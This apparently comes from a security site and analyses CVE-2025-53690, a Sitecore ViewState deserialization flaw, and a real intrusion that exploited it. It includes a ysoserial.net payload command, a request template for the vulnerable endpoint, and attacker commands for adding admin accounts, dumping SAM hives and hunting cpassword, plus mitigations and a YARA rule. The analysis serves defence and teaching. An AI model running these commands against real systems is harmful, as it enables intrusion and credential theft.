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CVE-2025-53690-Analysis — This is CVE-2025-53690 Analysis Documents. | Kitploit
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CVE-2025-53690-Analysis

This is CVE-2025-53690 Analysis Documents.

341 year agoNot yet reviewed
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CVE-2025-53690: Sitecore ViewState Deserialization Vulnerability Analysis

Overview

CVE-2025-53690 is a critical ViewState deserialization vulnerability discovered in the Sitecore product suite, allowing remote code execution by exploiting exposed ASP.NET machine keys.

Basic Information

  • CVE ID: CVE-2025-53690
  • CVSS Score: 9.0 (Critical)
  • Vulnerability Type: Deserialization of Untrusted Data (CWE-502)
  • Discovery Date: September 2025
  • Disclosure Date: September 3, 2025
  • Actual Exploitation: Exploited as a zero-day since December 2024

Affected Products

  • Sitecore Experience Manager (XM) - All versions 9.0 and below
  • Sitecore Experience Platform (XP) - All versions 9.0 and below
  • Sitecore Experience Commerce (XC)
  • Sitecore Managed Cloud
  • Active Directory Module 1.4 and below

Detailed Vulnerability Analysis

Root Cause

The core of this vulnerability lies in improper configuration management:

  1. Use of Sample Machine Keys: Sample ASP.NET machine keys included in Sitecore deployment guides prior to 2017 were used as-is in production environments.
  2. Static Key Reuse: The same machine key was reused across multiple deployments.
  3. Bypassing ViewState Validation: Exposed keys allow bypassing ViewState integrity validation.

ASP.NET ViewState Mechanism

ViewState is an ASP.NET state management feature that:

  • Stores web page state in the __VIEWSTATE hidden field
  • Uses machine keys to ensure integrity and confidentiality
  • The server deserializes ViewState to restore page state
root@kitploit:~
<!-- web.config example -->
<system.web>
    <machineKey 
        validationKey="[64-byte key]"
        decryptionKey="[48-byte key]"
        validation="HMACSHA256" 
        decryption="AES" />
</system.web>

Attack Vectors

1. Identifying Vulnerable Endpoints

root@kitploit:~
Target: /sitecore/blocked.aspx
Method: POST
Characteristics: Accessible without authentication, uses ViewState

2. Generating Malicious ViewState Payload

Attackers generate malicious payloads using the known machine key and ysoserial.net:

root@kitploit:~
# Example using ysoserial.net
ysoserial.exe -f ViewState -g TypeConfuseDelegate -c "calc.exe" --validationkey="[key]" --validationalg="HMACSHA256" --decryptionkey="[key]" --decryptionalg="AES"

3. Sending HTTP Request

root@kitploit:~
POST /sitecore/blocked.aspx HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

__VIEWSTATE=[malicious_payload]&__VIEWSTATEGENERATOR=[value]

Real Attack Case Analysis (Mandiant Report)

Attack Lifecycle

Phase 1: Initial Breach

  • Endpoint: /sitecore/blocked.aspx
  • Method: ViewState deserialization attack
  • Privileges: NETWORK SERVICE (IIS worker process)
  • Payload: WEEPSTEEL reconnaissance tool

Phase 2: Reconnaissance and Foothold Establishment

root@kitploit:~
# Executed commands
whoami
hostname  
net user
tasklist
ipconfig /all
netstat -ano
net group "domain admins"

Deployed Tools:

  • 7za.exe: File compression tool
  • lfe.ico: EARTHWORM network tunneling tool
  • 1.vbs: VBScript for command execution

Phase 3: Privilege Escalation

root@kitploit:~
# Create local administrator account
net user asp$ [password] /add
net localgroup administrators asp$ /add

net user sawadmin [password] /add  
net localgroup administrators sawadmin /add

Credential Collection:

root@kitploit:~
# Collect credentials
reg save HKLM\SYSTEM c:\users\public\system.hive
reg save HKLM\SAM c:\users\public\sam.hive

Phase 4: Establishing Persistence

  • RDP Access: Using the created administrator accounts
  • DWAGENT: Remote access tool installation (registered as a service with SYSTEM privileges)
  • Account Configuration Change:
root@kitploit:~
# Administrator account password never expires
net user [AdminUser] /passwordchg:no /expires:never
# Disable password expiration via wmic
wmic useraccount where name='[AdminUser]' set PasswordExpires=False

Phase 5: Internal Reconnaissance

root@kitploit:~
# Identify Domain Controller
nltest /DCLIST:[domain]
nslookup [domain-controller]

# Search for cpassword in GPO (Group Policy Preferences attack)
findstr /S /l cpassword \\[DC]\sysvol\[domain]\policies\*.xml

# Execute BloodHound/SharpHound
sh.exe -c all

Phase 6: Lateral Movement

  • RDP access to other systems using stolen domain administrator accounts
  • Network tunneling through EARTHWORM to bypass security

Analysis of Tools Used

WEEPSTEEL (Reconnaissance Tool)

root@kitploit:~
// Information to collect
Information.BasicsInfo basicsInfo = new Information.BasicsInfo
{
    Directories = new Information.Directories
    {
        CurrentWebDirectory = HostingEnvironment.MapPath("~/")
    },
    OperatingSystemInformation = Information.GetOperatingSystemInformation(),
    DiskInformation = Information.GetDiskInformation(),
    NetworkAdapterInformation = Information.GetNetworkAdapterInformation(),
    Process = Information.GetProcessInformation()
};

Output method: Disguised as ViewState to hide data

root@kitploit:~
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" 
       value="/wEPDwUKLTcyODc4{AES encrypted + base64 encoded output}" />

EARTHWORM (Network Tunneling)

  • SOCKS v5 proxy server functionality
  • Firewall bypass and traffic concealment
  • Tunneling RDP traffic to evade detection

DWAGENT (Remote Access)

  • Legitimate remote management tool
  • Registered as a service with SYSTEM privileges
  • Ensures persistence through auto-start

SHARPHOUND (AD Reconnaissance)

  • Data collection tool for BloodHound
  • Maps Active Directory environment
  • Identifies attack paths

Defense and Mitigation Measures

Immediate Actions

root@kitploit:~
<!-- Generate a unique machine key -->
<machineKey 
    validationKey="[new_64_byte_key]"
    decryptionKey="[new_48_byte_key]"
    validation="HMACSHA256" 
    decryption="AES" />

Security Enhancement Measures

  1. Automated Key Rotation
  2. Enable ViewState MAC Validation
  3. Encrypt Configuration Files
  4. Network Segmentation
  5. Enhanced Monitoring

Detection Rules

root@kitploit:~
# YARA rule example (detecting WEEPSTEEL)
rule WEEPSTEEL_Detection {
    strings:
        $viewstate = "__VIEWSTATE"
        $crypto = "System.Security.Cryptography"
        $serializer = "JavaScriptSerializer"
    condition:
        all of them
}

Conclusion

CVE-2025-53690 is a representative example of how a simple configuration mistake can lead to a critical security threat. Through this vulnerability, learners can experience the entire lifecycle of a real APT attack and understand modern attack techniques and defense strategies.

References

  • Google Cloud Blog - ViewState Deserialization Zero-Day
  • Sitecore Advisory SC2025-005
  • CISA KEV Catalog
  • ysoserial.net
  • Microsoft Security Blog - ASP.NET Machine Keys
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